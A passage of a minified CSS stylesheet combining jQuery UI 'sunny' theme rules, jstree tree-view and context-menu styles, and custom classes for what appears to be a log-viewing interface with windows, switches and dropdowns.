#655e4e;background:#fff url(assets/jqueryui/sunny/images/ui-bg_inset-soft_30_ffffff_1x100.png) 50% 50% repeat-x;font-weight:700;color:#0074c7}.ui-icon-background,.ui-state-active .ui-icon-background{border:#655e4e;background-color:#0074c7}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#0074c7;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #eeb420;background:#fff9e5 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_90_fff9e5_500x100.png) 50% top repeat-x;color:#1f1f1f}.ui-state-checked{border:1px solid #eeb420;background:#fff9e5}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#1f1f1f}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #ffb73d;background:#d34d17 url(assets/jqueryui/sunny/images/ui-bg_diagonals-medium_20_d34d17_40x40.png) 50% 50% repeat;color:#fff}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#fff}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_d19405_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_fadc7a_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_bd7b00_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_eb990f_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_ed9f26_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_ffe180_256x240.png)}.ui-button .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px!important}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px!important}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px!important}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px!important}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:8px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:8px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:8px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:8px}.ui-widget-overlay{background:#5c5c5c;opacity:.8;filter:Alpha(Opacity=80)}.ui-widget-shadow{-webkit-box-shadow:-7px -7px 7px #ccc}.hourglass{background:url(assets/jqueryui/sunny/images/hourglass-dark-red.gif)}.icon{vertical-align:middle!important;margin-top:-.25em!important;margin-right:.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png)!important}.progress-val{position:absolute;font-weight:700;color:#fece2f;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 0}.header-label{font-size:10pt;cursor:pointer;white-space:pre}.header-label.off{color:#fff3cc;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.header-label.on{color:#fece2f;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.switch-button-label{float:left;font-size:10pt;white-space:pre}.switch-button-label.off{color:#fff3cc;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.switch-button-label.on{color:#fece2f;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.switch-button-background{float:left;position:relative;border:2px solid #d19405;background:#fece2f url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_60_fece2f_500x100.png) 50% 50% repeat-x;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;background:#726a5a;border:1px solid #726a5a}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.intro-framed-textbox{border:1px solid #817865;-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em;padding:.2em}.log-info{font-size:14px;font-weight:700;color:#000!important}.log-warning{font-size:14px;font-weight:700;color:#f90!important}.log-error{font-size:14px;font-weight:700;color:#c00!important}.log-debug{font-size:14px;font-weight:700;color:#6B552C!important}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;background:#feeebd url(assets/jqueryui/sunny/images/ui-bg_highlight-soft_100_feeebd_1x100.png) 50% top repeat-x;color:#6B552C;min-width:350px;border:1px solid #8e846b;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#6B552C}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em}.logoptions{-webkit-border-top-left-radius:12px;-webkit-border-top-right-radius:12px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;font-size:12px;text-align:center;font-weight:700}.btlogoptions{border:0;font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #d19405;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #d19405;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #d19405;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.bottom-border{border-bottom:1px solid #d19405}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:8px;-webkit-border-bottom-right-radius:8px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%;border:1px solid #665f4d}.txt-log{padding:0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px;padding:10px 20px;-webkit-border-radius:6px;border:0}.pre-loader{background:#5c5c5c;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:#000;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons .jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em;text-decoration:none;width:auto;color:#000;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 #fff;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:#fff;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:#fff;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:#fff;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow .15s}.jstree-default .jstree-hovered{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-context{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#beebff;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #999;box-shadow:inset 0 0 1px #999}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#8b0000;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#e7f4f9}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#e7f4f9}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default .jstree-wholerow-clicked{background:#beebff;background:-webkit-linear-gradient(top,#beebff 0%,#a8e4ff 100%);background:linear-gradient(to bottom,#beebff 0%,#a8e4ff 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/sunny/images/32px.png)}.jstree-default .jstree-node{background-position:-292px -4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/sunny/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/sunny/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/sunny/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/sunny/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis 